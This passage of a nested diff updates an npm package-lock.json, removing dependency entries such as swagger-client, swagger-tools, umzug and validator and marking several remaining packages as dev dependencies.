+ "supports-color": {
+ "version": "8.1.1",
+ "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-8.1.1.tgz",
+@@ -63902,259 +51290,6 @@
+ "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz",
+ "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w=="
+ },
+- "swagger-client": {
+- "version": "3.18.4",
+- "resolved": "https://registry.npmjs.org/swagger-client/-/swagger-client-3.18.4.tgz",
+- "integrity": "sha512-Wj26oEctONq/u0uM+eSj18675YM5e2vFnx7Kr4neLeXEHKUsfceVQ/OdtrBXdrT3VbtdBbZfMTfl1JOBpix2MA==",
+- "requires": {
+- "@babel/runtime-corejs3": "^7.11.2",
+- "btoa": "^1.2.1",
+- "cookie": "~0.4.1",
+- "cross-fetch": "^3.1.5",
+- "deepmerge": "~4.2.2",
+- "fast-json-patch": "^3.0.0-1",
+- "form-data-encoder": "^1.4.3",
+- "formdata-node": "^4.0.0",
+- "is-plain-object": "^5.0.0",
+- "js-yaml": "^4.1.0",
+- "lodash": "^4.17.21",
+- "qs": "^6.10.2",
+- "traverse": "~0.6.6",
+- "url": "~0.11.0"
+- },
+- "dependencies": {
+- "cookie": {
+- "version": "0.4.2",
+- "resolved": "https://registry.npmjs.org/cookie/-/cookie-0.4.2.tgz",
+- "integrity": "sha512-aSWTXFzaKWkvHO1Ny/s+ePFpvKsPnjc551iI41v3ny/ow6tBG5Vd+FuqGNhh1LxOmVzOlGUriIlOaokOvhaStA=="
+- },
+- "is-plain-object": {
+- "version": "5.0.0",
+- "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-5.0.0.tgz",
+- "integrity": "sha512-VRSzKkbMm5jMDoKLbltAkFQ5Qr7VDiTFGXxYFXXowVj387GeGNOCsOH6Msy00SGZ3Fp84b1Naa1psqgcCIEP5Q=="
+- },
+- "punycode": {
+- "version": "1.3.2",
+- "resolved": "https://registry.npmjs.org/punycode/-/punycode-1.3.2.tgz",
+- "integrity": "sha1-llOgNvt8HuQjQvIyXM7v6jkmxI0="
+- },
+- "traverse": {
+- "version": "0.6.6",
+- "resolved": "https://registry.npmjs.org/traverse/-/traverse-0.6.6.tgz",
+- "integrity": "sha1-y99WD9e5r2MlAv7UD5GMFX6pcTc="
+- },
+- "url": {
+- "version": "0.11.0",
+- "resolved": "https://registry.npmjs.org/url/-/url-0.11.0.tgz",
+- "integrity": "sha1-ODjpfPxgUh63PFJajlW/3Z4uKPE=",
+- "requires": {
+- "punycode": "1.3.2",
+- "querystring": "0.2.0"
+- }
+- }
+- }
+- },
+- "swagger-converter": {
+- "version": "0.1.7",
+- "resolved": "https://registry.npmjs.org/swagger-converter/-/swagger-converter-0.1.7.tgz",
+- "integrity": "sha1-oJdRnG8e5N1n4wjZtT3cnCslf5c=",
+- "requires": {
+- "lodash.clonedeep": "^2.4.1"
+- }
+- },
+- "swagger-fluent": {
+- "version": "5.0.3",
+- "resolved": "https://registry.npmjs.org/swagger-fluent/-/swagger-fluent-5.0.3.tgz",
+- "integrity": "sha512-i43ADMtPi7dxAN75Lw50SlncMB31FgaVwXqKioR8SWs+Yon2RbiLU1J1PGMXA4N8cSt9Vz5RHzaoKjz/+iW88g==",
+- "requires": {
+- "deepmerge": "^4.2.2",
+- "is-plain-object": "^3.0.0",
+- "request": "^2.88.0"
+- },
+- "dependencies": {
+- "is-plain-object": {
+- "version": "3.0.1",
+- "resolved": "https://registry.npmjs.org/is-plain-object/-/is-plain-object-3.0.1.tgz",
+- "integrity": "sha512-Xnpx182SBMrr/aBik8y+GuR4U1L9FqMSojwDQwPMmxyC6bvEqly9UBCxhauBF5vNh2gwWJNX6oDV7O+OM4z34g=="
+- }
+- }
+- },
+- "swagger-tools": {
+- "version": "0.10.4",
+- "resolved": "https://registry.npmjs.org/swagger-tools/-/swagger-tools-0.10.4.tgz",
+- "integrity": "sha512-VQpijIi8cpB/frUZOZlVpS7U3CrdSAZBfiHu448R1njiNXUnE7heF3Svz3qFBr5SYtaPvaqWpHMbvboirCXVzA==",
+- "requires": {
+- "async": "^2.5.0",
+- "body-parser": "1.18.2",
+- "commander": "~2.11.0",
+- "debug": "^3.1.0",
+- "js-yaml": "^3.3.1",
+- "json-refs": "^3.0.2",
+- "lodash": "^4.17.4",
+- "multer": "^1.1.0",
+- "parseurl": "^1.3.0",
+- "path-to-regexp": "^2.0.0",
+- "qs": "^6.0.3",
+- "serve-static": "^1.10.0",
+- "spark-md5": "^3.0.0",
+- "superagent": "^3.5.2",
+- "swagger-converter": "^0.1.7",
+- "traverse": "^0.6.6",
+- "z-schema": "^3.15.4"
+- },
+- "dependencies": {
+- "argparse": {
+- "version": "1.0.10",
+- "resolved": "https://registry.npmjs.org/argparse/-/argparse-1.0.10.tgz",
+- "integrity": "sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==",
+- "requires": {
+- "sprintf-js": "~1.0.2"
+- }
+- },
+- "async": {
+- "version": "2.6.3",
+- "resolved": "https://registry.npmjs.org/async/-/async-2.6.3.tgz",
+- "integrity": "sha512-zflvls11DCy+dQWzTW2dzuilv8Z5X/pjfmZOWba6TNIVDm+2UDaJmXSOXlasHKfNBs8oo3M0aT50fDEWfKZjXg==",
+- "requires": {
+- "lodash": "^4.17.14"
+- }
+- },
+- "body-parser": {
+- "version": "1.18.2",
+- "resolved": "https://registry.npmjs.org/body-parser/-/body-parser-1.18.2.tgz",
+- "integrity": "sha1-h2eKGdhLR9hZuDGZvVm84iKxBFQ=",
+- "requires": {
+- "bytes": "3.0.0",
+- "content-type": "~1.0.4",
+- "debug": "2.6.9",
+- "depd": "~1.1.1",
+- "http-errors": "~1.6.2",
+- "iconv-lite": "0.4.19",
+- "on-finished": "~2.3.0",
+- "qs": "6.5.1",
+- "raw-body": "2.3.2",
+- "type-is": "~1.6.15"
+- },
+- "dependencies": {
+- "debug": {
+- "version": "2.6.9",
+- "resolved": "https://registry.npmjs.org/debug/-/debug-2.6.9.tgz",
+- "integrity": "sha512-bC7ElrdJaJnPbAP+1EotYvqZsb3ecl5wi6Bfi6BJTUcNowp6cvspg0jXznRTKDjm/E7AdgFBVeAPVMNcKGsHMA==",
+- "requires": {
+- "ms": "2.0.0"
+- }
+- },
+- "ms": {
+- "version": "2.0.0",
+- "resolved": "https://registry.npmjs.org/ms/-/ms-2.0.0.tgz",
+- "integrity": "sha1-VgiurfwAvmwpAd9fmGF4jeDVl8g="
+- }
+- }
+- },
+- "bytes": {
+- "version": "3.0.0",
+- "resolved": "https://registry.npmjs.org/bytes/-/bytes-3.0.0.tgz",
+- "integrity": "sha1-0ygVQE1olpn4Wk6k+odV3ROpYEg="
+- },
+- "commander": {
+- "version": "2.11.0",
+- "resolved": "https://registry.npmjs.org/commander/-/commander-2.11.0.tgz",
+- "integrity": "sha512-b0553uYA5YAEGgyYIGYROzKQ7X5RAqedkfjiZxwi0kL1g3bOaBNNZfYkzt/CL0umgD5wc9Jec2FbB98CjkMRvQ=="
+- },
+- "debug": {
+- "version": "3.2.7",
+- "resolved": "https://registry.npmjs.org/debug/-/debug-3.2.7.tgz",
+- "integrity": "sha512-CFjzYYAi4ThfiQvizrFQevTTXHtnCqWfe7x1AhgEscTz6ZbLbfoLRLPugTQyBth6f8ZERVUSyWHFD/7Wu4t1XQ==",
+- "requires": {
+- "ms": "^2.1.1"
+- }
+- },
+- "http-errors": {
+- "version": "1.6.3",
+- "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-1.6.3.tgz",
+- "integrity": "sha1-i1VoC7S+KDoLW/TqLjhYC+HZMg0=",
+- "requires": {
+- "depd": "~1.1.2",
+- "inherits": "2.0.3",
+- "setprototypeof": "1.1.0",
+- "statuses": ">= 1.4.0 < 2"
+- }
+- },
+- "iconv-lite": {
+- "version": "0.4.19",
+- "resolved": "https://registry.npmjs.org/iconv-lite/-/iconv-lite-0.4.19.tgz",
+- "integrity": "sha512-oTZqweIP51xaGPI4uPa56/Pri/480R+mo7SeU+YETByQNhDG55ycFyNLIgta9vXhILrxXDmF7ZGhqZIcuN0gJQ=="
+- },
+- "inherits": {
+- "version": "2.0.3",
+- "resolved": "https://registry.npmjs.org/inherits/-/inherits-2.0.3.tgz",
+- "integrity": "sha1-Yzwsg+PaQqUC9SRmAiSA9CCCYd4="
+- },
+- "js-yaml": {
+- "version": "3.14.1",
+- "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-3.14.1.tgz",
+- "integrity": "sha512-okMH7OXXJ7YrN9Ok3/SXrnu4iX9yOk+25nqX4imS2npuvTYDmo/QEZoqwZkYaIDk3jVvBOTOIEgEhaLOynBS9g==",
+- "requires": {
+- "argparse": "^1.0.7",
+- "esprima": "^4.0.0"
+- }
+- },
+- "path-to-regexp": {
+- "version": "2.4.0",
+- "resolved": "https://registry.npmjs.org/path-to-regexp/-/path-to-regexp-2.4.0.tgz",
+- "integrity": "sha512-G6zHoVqC6GGTQkZwF4lkuEyMbVOjoBKAEybQUypI1WTkqinCOrq2x6U2+phkJ1XsEMTy4LjtwPI7HW+NVrRR2w=="
+- },
+- "qs": {
+- "version": "6.5.1",
+- "resolved": "https://registry.npmjs.org/qs/-/qs-6.5.1.tgz",
+- "integrity": "sha512-eRzhrN1WSINYCDCbrz796z37LOe3m5tmW7RQf6oBntukAG1nmovJvhnwHHRMAfeoItc1m2Hk02WER2aQ/iqs+A=="
+- },
+- "raw-body": {
+- "version": "2.3.2",
+- "resolved": "https://registry.npmjs.org/raw-body/-/raw-body-2.3.2.tgz",
+- "integrity": "sha1-vNYMd9Prk83gBQKVw/N5OJvIj4k=",
+- "requires": {
+- "bytes": "3.0.0",
+- "http-errors": "1.6.2",
+- "iconv-lite": "0.4.19",
+- "unpipe": "1.0.0"
+- },
+- "dependencies": {
+- "depd": {
+- "version": "1.1.1",
+- "resolved": "https://registry.npmjs.org/depd/-/depd-1.1.1.tgz",
+- "integrity": "sha1-V4O04cRZ8G+lyif5kfPQbnoxA1k="
+- },
+- "http-errors": {
+- "version": "1.6.2",
+- "resolved": "https://registry.npmjs.org/http-errors/-/http-errors-1.6.2.tgz",
+- "integrity": "sha1-CgAsyFcHGSp+eUbO7cERVfYOxzY=",
+- "requires": {
+- "depd": "1.1.1",
+- "inherits": "2.0.3",
+- "setprototypeof": "1.0.3",
+- "statuses": ">= 1.3.1 < 2"
+- }
+- },
+- "setprototypeof": {
+- "version": "1.0.3",
+- "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.0.3.tgz",
+- "integrity": "sha1-ZlZ+NwQ+608E2RvWWMDL77VbjgQ="
+- }
+- }
+- },
+- "setprototypeof": {
+- "version": "1.1.0",
+- "resolved": "https://registry.npmjs.org/setprototypeof/-/setprototypeof-1.1.0.tgz",
+- "integrity": "sha512-BvE/TwpZX4FXExxOxZyRGQQv651MSwmWKZGqvmPcRIjDqWub67kTKuIMx43cZZrS/cBBzwBcNDWoFxt2XEFIpQ=="
+- },
+- "traverse": {
+- "version": "0.6.6",
+- "resolved": "https://registry.npmjs.org/traverse/-/traverse-0.6.6.tgz",
+- "integrity": "sha1-y99WD9e5r2MlAv7UD5GMFX6pcTc="
+- }
+- }
+- },
+ "symbol-tree": {
+ "version": "3.2.4",
+ "resolved": "https://registry.npmjs.org/symbol-tree/-/symbol-tree-3.2.4.tgz",
+@@ -64275,11 +51410,6 @@
+ }
+ }
+ },
+- "tarn": {
+- "version": "3.0.2",
+- "resolved": "https://registry.npmjs.org/tarn/-/tarn-3.0.2.tgz",
+- "integrity": "sha512-51LAVKUSZSVfI05vjPESNc5vwqqZpbXCsU+/+wxlOrUjk2SnFTt97v9ZgQrD4YmxYW1Px6w2KjaDitCfkvgxMQ=="
+- },
+ "tdigest": {
+ "version": "0.1.1",
+ "resolved": "https://registry.npmjs.org/tdigest/-/tdigest-0.1.1.tgz",
+@@ -64322,24 +51452,6 @@
+ }
+ }
+ },
+- "temp": {
+- "version": "0.8.4",
+- "resolved": "https://registry.npmjs.org/temp/-/temp-0.8.4.tgz",
+- "integrity": "sha512-s0ZZzd0BzYv5tLSptZooSjK8oj6C+c19p7Vqta9+6NPOf7r+fxq0cJe6/oN4LTC79sy5NY8ucOJNgwsKCSbfqg==",
+- "requires": {
+- "rimraf": "~2.6.2"
+- },
+- "dependencies": {
+- "rimraf": {
+- "version": "2.6.3",
+- "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.6.3.tgz",
+- "integrity": "sha512-mwqeW5XsA2qAejG46gYdENaxXjx9onRNCfn7L0duuP4hCuTIi/QO7PDK07KJfp1d+izWPrzEJDcSqBa0OZQriA==",
+- "requires": {
+- "glob": "^7.1.3"
+- }
+- }
+- }
+- },
+ "temp-path": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/temp-path/-/temp-path-1.0.0.tgz",
+@@ -64436,14 +51548,6 @@
+ "resolved": "https://registry.npmjs.org/thirty-two/-/thirty-two-1.0.2.tgz",
+ "integrity": "sha1-TKL//AKlEpDSdEueP1V2k8prYno="
+ },
+- "throng": {
+- "version": "4.0.0",
+- "resolved": "https://registry.npmjs.org/throng/-/throng-4.0.0.tgz",
+- "integrity": "sha1-mDxroZk7WOroWZmKpof/6I34TBc=",
+- "requires": {
+- "lodash.defaults": "^4.0.1"
+- }
+- },
+ "throttleit": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/throttleit/-/throttleit-1.0.0.tgz",
+@@ -64521,27 +51625,12 @@
+ "integrity": "sha512-eHY7nBftgThBqOyHGVN+l8gF0BucP09fMo0oO/Lb0w1OF80dJv+lDVpXG60WMQvkcxAkNybKsrEIE3ZtKGmPrA==",
+ "devOptional": true
+ },
+- "tildify": {
+- "version": "2.0.0",
+- "resolved": "https://registry.npmjs.org/tildify/-/tildify-2.0.0.tgz",
+- "integrity": "sha512-Cc+OraorugtXNfs50hU9KS369rFXCfgGLpfCfvlc+Ud5u6VWmUQsOAa9HbTvheQdYnrdJqqv1e5oIqXppMYnSw=="
+- },
+ "timekeeper": {
+ "version": "2.2.0",
+ "resolved": "https://registry.npmjs.org/timekeeper/-/timekeeper-2.2.0.tgz",
+ "integrity": "sha512-W3AmPTJWZkRwu+iSNxPIsLZ2ByADsOLbbLxe46UJyWj3mlYLlwucKiq+/dPm0l9wTzqoF3/2PH0AGFCebjq23A==",
+ "dev": true
+ },
+- "timers-ext": {
+- "version": "0.1.7",
+- "resolved": "https://registry.npmjs.org/timers-ext/-/timers-ext-0.1.7.tgz",
+- "integrity": "sha512-b85NUNzTSdodShTIbky6ZF02e8STtVVfD+fu4aXXShEELpozH+bCpJLYMPZbsABN2wDH7fJpqIoXxJpzbf0NqQ==",
+- "dev": true,
+- "requires": {
+- "es5-ext": "~0.10.46",
+- "next-tick": "1"
+- }
+- },
+ "tiny-async-pool": {
+ "version": "1.2.0",
+ "resolved": "https://registry.npmjs.org/tiny-async-pool/-/tiny-async-pool-1.2.0.tgz",
+@@ -64558,11 +51647,6 @@
+ }
+ }
+ },
+- "tiny-lru": {
+- "version": "8.0.2",
+- "resolved": "https://registry.npmjs.org/tiny-lru/-/tiny-lru-8.0.2.tgz",
+- "integrity": "sha512-ApGvZ6vVvTNdsmt676grvCkUCGwzG9IqXma5Z07xJgiC5L7akUMof5U8G2JTI9Rz/ovtVhJBlY6mNhEvtjzOIg=="
+- },
+ "tiny-warning": {
+ "version": "1.0.3",
+ "resolved": "https://registry.npmjs.org/tiny-warning/-/tiny-warning-1.0.3.tgz",
+@@ -64617,6 +51701,7 @@
+ "version": "0.3.0",
+ "resolved": "https://registry.npmjs.org/to-object-path/-/to-object-path-0.3.0.tgz",
+ "integrity": "sha1-KXWIt7Dn4KwI4E5nL4XB9JmeF68=",
++ "dev": true,
+ "requires": {
+ "kind-of": "^3.0.2"
+ },
+@@ -64625,47 +51710,13 @@
+ "version": "3.2.2",
+ "resolved": "https://registry.npmjs.org/kind-of/-/kind-of-3.2.2.tgz",
+ "integrity": "sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=",
++ "dev": true,
+ "requires": {
+ "is-buffer": "^1.1.5"
+ }
+ }
+ }
+ },
+- "to-readable-stream": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/to-readable-stream/-/to-readable-stream-1.0.0.tgz",
+- "integrity": "sha512-Iq25XBt6zD5npPhlLVXGFN3/gyR2/qODcKNNyTMd4vbm39HUaOiAM4PMq0eMVC/Tkxz+Zjdsc55g9yyz+Yq00Q=="
+- },
+- "to-regex": {
+- "version": "3.0.2",
+- "resolved": "https://registry.npmjs.org/to-regex/-/to-regex-3.0.2.tgz",
+- "integrity": "sha512-FWtleNAtZ/Ki2qtqej2CXTOayOH9bHDQF+Q48VpWyDXjbYxA4Yz8iDB31zXOBUlOHHKidDbqGVrTUvQMPmBGBw==",
+- "requires": {
+- "define-property": "^2.0.2",
+- "extend-shallow": "^3.0.2",
+- "regex-not": "^1.0.2",
+- "safe-regex": "^1.1.0"
+- },
+- "dependencies": {
+- "extend-shallow": {
+- "version": "3.0.2",
+- "resolved": "https://registry.npmjs.org/extend-shallow/-/extend-shallow-3.0.2.tgz",
+- "integrity": "sha1-Jqcarwc7OfshJxcnRhMcJwQCjbg=",
+- "requires": {
+- "assign-symbols": "^1.0.0",
+- "is-extendable": "^1.0.1"
+- }
+- },
+- "is-extendable": {
+- "version": "1.0.1",
+- "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz",
+- "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==",
+- "requires": {
+- "is-plain-object": "^2.0.4"
+- }
+- }
+- }
+- },
+ "to-regex-range": {
+ "version": "5.0.1",
+ "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz",
+@@ -64791,31 +51842,11 @@
+ "integrity": "sha512-gVweAectJU3ebq//Ferr2JUY4WKSDe5N+z0FvjDncLGyHmIDoxgY/2Ie4qfEIDm4IS7OA6Rmdm7pdEEdMcV/xQ==",
+ "dev": true
+ },
+- "topo": {
+- "version": "3.0.3",
+- "resolved": "https://registry.npmjs.org/topo/-/topo-3.0.3.tgz",
+- "integrity": "sha512-IgpPtvD4kjrJ7CRA3ov2FhWQADwv+Tdqbsf1ZnPUSAtCJ9e1Z44MmoSGDXGk4IppoZA7jd/QRkNddlLJWlUZsQ==",
+- "requires": {
+- "hoek": "6.x.x"
+- },
+- "dependencies": {
+- "hoek": {
+- "version": "6.1.3",
+- "resolved": "https://registry.npmjs.org/hoek/-/hoek-6.1.3.tgz",
+- "integrity": "sha512-YXXAAhmF9zpQbC7LEcREFtXfGq5K1fmd+4PHkBq8NUqmzW3G+Dq10bI/i0KucLRwss3YYFQ0fSfoxBZYiGUqtQ=="
+- }
+- }
+- },
+ "toposort": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/toposort/-/toposort-2.0.2.tgz",
+ "integrity": "sha1-riF2gXXRVZ1IvvNUILL0li8JwzA="
+ },
+- "toposort-class": {
+- "version": "1.0.1",
+- "resolved": "https://registry.npmjs.org/toposort-class/-/toposort-class-1.0.1.tgz",
+- "integrity": "sha1-f/0feMi+KMO6Rc1OGj9e4ZO9mYg="
+- },
+ "touch": {
+ "version": "3.1.0",
+ "resolved": "https://registry.npmjs.org/touch/-/touch-3.1.0.tgz",
+@@ -65000,7 +52031,8 @@
+ "typical": {
+ "version": "2.6.1",
+ "resolved": "https://registry.npmjs.org/typical/-/typical-2.6.1.tgz",
+- "integrity": "sha1-XAgOXWYcu+OCWdLnCjxyU+hziB0="
++ "integrity": "sha1-XAgOXWYcu+OCWdLnCjxyU+hziB0=",
++ "dev": true
+ },
+ "ua-parser-js": {
+ "version": "0.7.31",
+@@ -65032,15 +52064,6 @@
+ "resolved": "https://registry.npmjs.org/uid2/-/uid2-0.0.4.tgz",
+ "integrity": "sha512-IevTus0SbGwQzYh3+fRsAMTVVPOoIVufzacXcHPmdlle1jUpq7BRL+mw3dgeLanvGZdwwbWhRV6XrcFNdBmjWA=="
+ },
+- "umzug": {
+- "version": "2.3.0",
+- "resolved": "https://registry.npmjs.org/umzug/-/umzug-2.3.0.tgz",
+- "integrity": "sha512-Z274K+e8goZK8QJxmbRPhl89HPO1K+ORFtm6rySPhFKfKc5GHhqdzD0SGhSWHkzoXasqJuItdhorSvY7/Cgflw==",
+- "dev": true,
+- "requires": {
+- "bluebird": "^3.7.2"
+- }
+- },
+ "unbox-primitive": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/unbox-primitive/-/unbox-primitive-1.0.1.tgz",
+@@ -65055,7 +52078,8 @@
+ "unc-path-regex": {
+ "version": "0.1.2",
+ "resolved": "https://registry.npmjs.org/unc-path-regex/-/unc-path-regex-0.1.2.tgz",
+- "integrity": "sha1-5z3T17DXxe2G+6xrCufYxqadUPo="
++ "integrity": "sha1-5z3T17DXxe2G+6xrCufYxqadUPo=",
++ "dev": true
+ },
+ "uncontrollable": {
+ "version": "7.2.1",
+@@ -65121,17 +52145,6 @@
+ "resolved": "https://registry.npmjs.org/unicode-property-aliases-ecmascript/-/unicode-property-aliases-ecmascript-2.0.0.tgz",
+ "integrity": "sha512-5Zfuy9q/DFr4tfO7ZPeVXb1aPoeQSdeFMLpYuFebehDAhbuevLs5yxSZmIFN1tP5F9Wl4IpJrYojg85/zgyZHQ=="
+ },
+- "union-value": {
+- "version": "1.0.1",
+- "resolved": "https://registry.npmjs.org/union-value/-/union-value-1.0.1.tgz",
+- "integrity": "sha512-tJfXmxMeWYnczCVs7XAEvIV7ieppALdyepWMkHkwciRpZraG/xwT+s2JN8+pr1+8jCRf80FFzvr+MpQeeoF4Xg==",
+- "requires": {
+- "arr-union": "^3.1.0",
+- "get-value": "^2.0.6",
+- "is-extendable": "^0.1.1",
+- "set-value": "^2.0.1"
+- }
+- },
+ "unique-stream": {
+ "version": "2.3.1",
+ "resolved": "https://registry.npmjs.org/unique-stream/-/unique-stream-2.3.1.tgz",
+@@ -65150,11 +52163,6 @@
+ "crypto-random-string": "^2.0.0"
+ }
+ },
+- "universal-user-agent": {
+- "version": "6.0.0",
+- "resolved": "https://registry.npmjs.org/universal-user-agent/-/universal-user-agent-6.0.0.tgz",
+- "integrity": "sha512-isyNax3wXoKaulPDZWHQqbmIx1k2tb9fb3GGDBRxCscfYV2Ch7WxPArBsFEG8s/safwXTT7H4QGhaIkTp9447w=="
+- },
+ "universalify": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/universalify/-/universalify-2.0.0.tgz",
+@@ -65165,47 +52173,6 @@
+ "resolved": "https://registry.npmjs.org/unpipe/-/unpipe-1.0.0.tgz",
+ "integrity": "sha1-sr9O6FFKrmFltIF4KdIbLvSZBOw="
+ },
+- "unset-value": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/unset-value/-/unset-value-1.0.0.tgz",
+- "integrity": "sha1-g3aHP30jNRef+x5vw6jtDfyKtVk=",
+- "requires": {
+- "has-value": "^0.3.1",
+- "isobject": "^3.0.0"
+- },
+- "dependencies": {
+- "has-value": {
+- "version": "0.3.1",
+- "resolved": "https://registry.npmjs.org/has-value/-/has-value-0.3.1.tgz",
+- "integrity": "sha1-ex9YutpiyoJ+wKIHgCVlSEWZXh8=",
+- "requires": {
+- "get-value": "^2.0.3",
+- "has-values": "^0.1.4",
+- "isobject": "^2.0.0"
+- },
+- "dependencies": {
+- "isobject": {
+- "version": "2.1.0",
+- "resolved": "https://registry.npmjs.org/isobject/-/isobject-2.1.0.tgz",
+- "integrity": "sha1-8GVWEJaj8dou9GJy+BXIQNh+DIk=",
+- "requires": {
+- "isarray": "1.0.0"
+- }
+- }
+- }
+- },
+- "has-values": {
+- "version": "0.1.4",
+- "resolved": "https://registry.npmjs.org/has-values/-/has-values-0.1.4.tgz",
+- "integrity": "sha1-bWHeldkd/Km5oCCJrThL/49it3E="
+- },
+- "isarray": {
+- "version": "1.0.0",
+- "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz",
+- "integrity": "sha1-u5NdSFgsuhaMBoNJV6VKPgcSTxE="
+- }
+- }
+- },
+ "untildify": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/untildify/-/untildify-4.0.0.tgz",
+@@ -65271,11 +52238,6 @@
+ "punycode": "^2.1.0"
+ }
+ },
+- "urix": {
+- "version": "0.1.0",
+- "resolved": "https://registry.npmjs.org/urix/-/urix-0.1.0.tgz",
+- "integrity": "sha1-2pN/emLiH+wf0Y1Js1wpNQZ6bHI="
+- },
+ "url": {
+ "version": "0.10.3",
+ "resolved": "https://registry.npmjs.org/url/-/url-0.10.3.tgz",
+@@ -65292,11 +52254,6 @@
+ }
+ }
+ },
+- "url-join": {
+- "version": "4.0.1",
+- "resolved": "https://registry.npmjs.org/url-join/-/url-join-4.0.1.tgz",
+- "integrity": "sha512-jk1+QP6ZJqyOiuEI9AEWQfju/nB2Pw466kbA0LEZljHwKeMgd9WrAEgEGxjPDD2+TNbbb37rTyhEfrCXfuKXnA=="
+- },
+ "url-parse": {
+ "version": "1.5.10",
+ "resolved": "https://registry.npmjs.org/url-parse/-/url-parse-1.5.10.tgz",
+@@ -65306,31 +52263,6 @@
+ "requires-port": "^1.0.0"
+ }
+ },
+- "url-parse-lax": {
+- "version": "3.0.0",
+- "resolved": "https://registry.npmjs.org/url-parse-lax/-/url-parse-lax-3.0.0.tgz",
+- "integrity": "sha1-FrXK/Afb42dsGxmZF3gj1lA6yww=",
+- "requires": {
+- "prepend-http": "^2.0.0"
+- },
+- "dependencies": {
+- "prepend-http": {
+- "version": "2.0.0",
+- "resolved": "https://registry.npmjs.org/prepend-http/-/prepend-http-2.0.0.tgz",
+- "integrity": "sha1-6SQ0v6XqjBn0HN/UAddBo8gZ2Jc="
+- }
+- }
+- },
+- "url-template": {
+- "version": "2.0.8",
+- "resolved": "https://registry.npmjs.org/url-template/-/url-template-2.0.8.tgz",
+- "integrity": "sha1-/FZaPMy/93MMd19WQflVV5FDnyE="
+- },
+- "use": {
+- "version": "3.1.1",
+- "resolved": "https://registry.npmjs.org/use/-/use-3.1.1.tgz",
+- "integrity": "sha512-cwESVXlO3url9YWlFW/TA9cshCEhtu7IKJ/p5soJ/gGpj7vbvFrAY/eIioQ6Dw23KjZhYgiIo8HOs1nQ2vr/oQ=="
+- },
+ "utf-8-validate": {
+ "version": "5.0.8",
+ "resolved": "https://registry.npmjs.org/utf-8-validate/-/utf-8-validate-5.0.8.tgz",
+@@ -65377,7 +52309,8 @@
+ "utils-flatten": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/utils-flatten/-/utils-flatten-1.0.0.tgz",
+- "integrity": "sha1-AfMNMZO+RkxAsxdV5nQNDbDO8kM="
++ "integrity": "sha1-AfMNMZO+RkxAsxdV5nQNDbDO8kM=",
++ "dev": true
+ },
+ "utils-merge": {
+ "version": "1.0.1",
+@@ -65414,14 +52347,6 @@
+ }
+ }
+ },
+- "v8flags": {
+- "version": "3.2.0",
+- "resolved": "https://registry.npmjs.org/v8flags/-/v8flags-3.2.0.tgz",
+- "integrity": "sha512-mH8etigqMfiGWdeXpaaqGfs6BndypxusHHcv2qSHyZkGEznCd/qAXCWWRzeowtL54147cktFOC4P5y+kl8d8Jg==",
+- "requires": {
+- "homedir-polyfill": "^1.0.1"
+- }
+- },
+ "valid-data-url": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/valid-data-url/-/valid-data-url-2.0.0.tgz",
+@@ -65432,11 +52357,6 @@
+ "resolved": "https://registry.npmjs.org/valid-url/-/valid-url-1.0.9.tgz",
+ "integrity": "sha1-HBRHm0DxOXp1eC8RXkCGRHQzogA="
+ },
+- "validator": {
+- "version": "13.7.0",
+- "resolved": "https://registry.npmjs.org/validator/-/validator-13.7.0.tgz",
+- "integrity": "sha512-nYXQLCBkpJ8X6ltALua9dRrZDHVYxjJ1wgskNt1lH9fzGjs3tgojGSCBjmEPwkWS1y29+DrizMTW19Pr9uB2nw=="
+- },
+ "value-or-function": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/value-or-function/-/value-or-function-3.0.0.tgz",
+@@ -65704,8 +52624,7 @@
+ }
+ },
+ "web-streams-polyfill": {
+- "version": "4.0.0-beta.1",
+- "resolved": "https://registry.npmjs.org/web-streams-polyfill/-/web-streams-polyfill-4.0.0-beta.1.tgz",
++ "version": "https://registry.npmjs.org/web-streams-polyfill/-/web-streams-polyfill-4.0.0-beta.1.tgz",
+ "integrity": "sha512-3ux37gEX670UUphBF9AMCq8XM6iQ8Ac6A+DSRRjDoRBm1ufCkaCDdNVbaqq60PsEkdNlLKrGtv/YBP4EJXqNtQ=="
+ },
+ "webidl-conversions": {
+@@ -66103,14 +53022,6 @@
+ "babel-walk": "3.0.0-canary-5"
+ }
+ },
+- "wkx": {
+- "version": "0.4.8",
+- "resolved": "https://registry.npmjs.org/wkx/-/wkx-0.4.8.tgz",
+- "integrity": "sha512-ikPXMM9IR/gy/LwiOSqWlSL3X/J5uk9EO2hHNRXS41eTLXaUFEVw9fn/593jW/tE5tedNg8YjT5HkCa4FqQZyQ==",
+- "requires": {
+- "@types/node": "*"
+- }
+- },
+ "word-wrap": {
+ "version": "1.2.3",
